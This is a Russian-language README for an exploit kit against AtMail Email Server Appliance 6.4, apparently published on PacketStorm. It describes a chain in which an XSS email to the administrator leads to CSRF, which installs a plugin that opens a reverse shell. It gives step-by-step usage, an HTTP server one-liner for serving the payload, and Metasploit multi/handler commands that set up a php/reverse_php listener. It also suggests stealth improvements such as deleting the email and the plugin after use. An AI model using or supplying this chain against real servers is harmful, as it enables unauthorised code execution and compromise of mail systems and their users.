AtMail Email Server Appliance 6.4 - Набор эксплойтов (XSS > CSRF > RCE)
[PacketStorm] [WLB-2020080010]
Дисклеймер: этот набор эксплойтов был вдохновлён EDB-ID 20009.
Цель
Цель этого набора эксплойтов — заменить EDB-ID 20009.
Плюсы этого набора по сравнению с эксплойтом EDB-ID 20009:
- Прост в использовании
- Многоразовый
- Динамически генерируемые пэйлоады
- Легко редактируется / модифицируется
- Понятный код и доступный плагин
Минусы эксплойта EDB-ID 20009:
- Не настраивается (статические захардкоженные пэйлоады)
- Сложен в использовании (нужно заменять много захардкоженных значений и адаптировать код под целевую среду)
- Одноразовое использование (все значения захардкожены)
- Архив плагина tgz встроен в виде строки (шестнадцатеричных символов), поэтому исходный код плагина сложно прочитать или изменить
Требования
- (Необязательно) Metasploit Framework (
msfvenom для генерации реверс-шелла)
- tar (для создания архива плагина)
- ruby (подготовка пэйлоадов и доставка XSS через SMTP)
- (Необязательно) веб-сервер для доставки XSS-пэйлоада
- Знать адрес электронной почты администратора Atmail (только администраторы могут устанавливать плагины)
- Пассивное взаимодействие (администратору нужно открыть email с XSS-пэйлоадом в WebMail и иметь активную сессию в интерфейсе администрирования)
Установка требований в ArchLinux:
$ sudo pacman -S metasploit tar ruby
Как это работает
- Отправка администратору email, содержащего XSS-пэйлоад
- XSS-пэйлоад удалённо загружает JavaScript CSRF
- CSRF устанавливает плагин
- После установки плагин выполняет системную команду: реверс-шелл
Файлы эксплойта:
config.yml содержит конфигурацию набора
exploit.sh — обёртка эксплойта, которую нужно запустить
xss_mail.rb отправит email с XSS администратору через SMTP-сервер Atmail (без аутентификации)
csrf_prepare.rb подготовит CSRF-пэйлоад (укажет цель и закодирует архив плагина)
rce_prepare.rb подготовит RCE (сгенерирует реверс-шелл и создаст архив плагина)
csrf_plugin.js — подготовленный CSRF-пэйлоад
- папка
noraj/, содержащая несжатую структуру плагина
Использование
Набор эксплойтов требует всего 2 ручных шага:
- Отредактируйте
config.yml
- Запустите
exploit.sh
Но перед запуском атаки веб-сервер должен доставлять JavaScript CSRF-файл, а слушатель реверс-шелла должен ожидать подключения. Таким образом, атака будет больше похожа на:
- Отредактируйте
config.yml
- Запустите HTTP-сервер, который будет отдавать
csrf_plugin.js
- Запустите слушатель реверс-шелла
- Запустите
exploit.sh
Пример однострочного HTTP-сервера:
$ ruby -run -e httpd . -p 8000
Пример слушателя реверс-шелла:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
Примечания
- RCE происходит только при установке плагина; если соединение реверс-шелла потеряно, повторное выполнение означает переустановку плагина. Так что администратору нужно лишь перезагрузить свой почтовый ящик.
- Red team-специалисты могут улучшить эксплойт, чтобы автоматически удалять email после прочтения и удалять плагин после установления соединения реверс-шелла: менее устойчиво, но более скрытно.
- msfvenom (MSF 5.0) поддерживает для LHOST только IP-адрес, а не домен.
- Как сказано в Требованиях, администратор должен быть авторизован и в Webmail, и в интерфейсе администрирования.
- Протестировано с ruby 2.7.